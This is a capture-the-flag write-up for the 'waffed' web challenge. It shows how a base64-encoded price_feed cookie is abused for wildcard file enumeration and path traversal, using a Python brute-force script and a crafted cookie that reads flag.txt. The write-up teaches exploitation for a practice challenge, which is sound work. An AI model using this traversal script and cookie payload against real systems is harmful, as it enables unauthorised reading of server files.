Rating: 5.0

# waffed

This was part of the 0x41414141 CTF in January 2021.

![challenge](media/challenge.png)

http://45.134.3.200:9090/

The page comes up like this:
![page1](media/page1.png)

Clicking the `Get in Touch` link brings you to this page:

![get-in-touch](media/get-in-touch.png)

I tried SQL injection in all of these but got nothing interesting.

On the trade page:

http://45.134.3.200:9090/trade

![trade1](media/trade1.png)

You can see a visual graph of some data and have a selector to switch to a different coin.

When you do this, behind the scenes it makes an HTTP call to `/changeFeed/<selected-coin>`:

```
GET /changeFeed/XFT HTTP/1.1
Host: 45.134.3.200:9090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://45.134.3.200:9090/trade
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: price_feed=REFJ
Connection: close
```

and returns:

```
HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 25 Jan 2021 00:42:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 219
Location: http://45.134.3.200:9090/trade
Connection: close
Set-Cookie: price_feed=WEZU; Path=/
```

302 is a redirect and the Location response header tells the browser where to redirect to.

Notice the `Set-Cookie` header!

On a hunch, I decoded WEZU from base64 and out came: `XFT`

So the `price_feed` cookie value is just a base64 encoded version of the selected coin name.

* XFT's cookie is WEZU
* DAI's cookie is REFJ
* UNI's cookie is VU5J
* POPCOINS' cookie is UE9QQ09JTlM=

For fun, let's try:

`/changeFeed/STUFF`

That gave a 302 redirect to /trade with a cookie of:

```
Set-Cookie: price_feed=U1RVRkY=; Path=/
```

As expected this is just base64 for STUFF.

Then the /trade page rendered as:

```
<h1>WOOPS</h1>
```

That is likely due there not being any STUFF resource on the server.

I tried various forms of SQL injection here with no results.

I also tried just messing with various values to see how it would behave. I found an interesting behavior:

* \*D\* worked
* \*z\* WOOPS
* \*T worked
* \*S worked
* \*s WOOPS
* XF%3F (XF?) worked

This implies it is honoring bash-style wildcards like * and ?.

This makes me think the resources are on the file system and not, for example, in a database.

Knowing that "something" on the server was honoring bash, I wrote the following python:

```
import requests
import base64
from urllib.parse import quote_plus

BASE_URL = 'http://45.134.3.200:9090/trade'

def tryUrl(message):
url = BASE_URL
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
cookieValue = base64_message
response = requests.get(url,
headers={
'Cookie': 'price_feed = ' + cookieValue
},
allow_redirects=False
)
return response.status_code == 200 and ('WOOPS' not in response.text)

def findToken(partial):
anyMatches = False
for i in range(33,126):
c = chr(i)
if c == '*' or c == '?' or c == '/':
continue
if tryUrl(partial + c + '*'):
print('partial: ', partial + c)
anyMatches = True
findToken(partial + c)

if not anyMatches:
print(partial)

findToken('')
```

This leverages the fact that * will match on all trailing characters to "hunt" for matches.

However, this only dumped out the ones we already knew about.

On a whim, I changed to:

```
findToken('../')
```
and it dumped out:
```
../Dockerfile
../description.txt
../requirements.txt
../run.sh
../wsgi.py
```

Cool!

I then tried more and more ../'s until it dumped out:

```
../../../../.dockerenv
../../../../flag.txt
```

So, we know where the flag is (relative to our current directory anyway).

Now that we know, let's manually edit the `price_feed` cookie in the browser to be the base64 for
`../../../../flag.txt`

This is: `Li4vLi4vLi4vLi4vZmxhZy50eHQ=`

Here is a screenshot of me manually editing the cookie inside the Chrome dev tools.

![devtools](media/devtools.png)

Let's back up a minute. Before we started hacking the cookie value, it was showing some data in a visual graph. You can view source to see the JSON that drives this visualization:

```
datasets: [{

label: 'prices overtime',

data: [33, 50, 41, 49, 35, 41, 45, 36, 30, 44, 34, 47, 49, 40, 31, 32, 44, 31, 38, 37, 37, 40, 34, 41, 40, 40, 45, 36, 42, 38, 50, 50, 50, 32, 48, 30, 42, 38, 30, 41, 35, 35, 36, 49, 44, 43, 30, 34, 35, 50, 43, 39, 39, 46, 35, 36, 49, 32, 31, 42, 43, 33, 48, 46, 30, 35, 34, 45, 33, 31, 37, 43, 33, 37, 36, 48, 31, 33, 34, 35, 37, 30, 30, 46, 35, 33, 48, 41, 34, 32, 32, 48, 32, 34, 34, 38, 43, 45, 39, 38],
borderColor: [
'rgba(255, 99, 132, 1)',
'rgba(54, 162, 235, 1)',
'rgba(255, 206, 86, 1)',
'rgba(75, 192, 192, 1)',
'rgba(153, 102, 255, 1)',
'rgba(255, 159, 64, 1)'
],
borderWidth:
}]
```

Now that we've hacked the cookie, let's refresh the page and see what the same JSON looks like now:

```
datasets: [{
label: 'prices overtime',
data: ['flag{w@fs_r3@lly_d0_Suck8245}'],
borderColor: [
'rgba(255, 99, 132, 1)',
'rgba(54, 162, 235, 1)',
'rgba(255, 206, 86, 1)',
'rgba(75, 192, 192, 1)',
'rgba(153, 102, 255, 1)',
'rgba(255, 159, 64, 1)'
],
borderWidth: 1
}]
```

Yay! The contents of `flag.txt` end up in the JSON.

Original writeup (https://github.com/sambrow/ctf-writeups-2021/tree/master/0x41414141/waffed).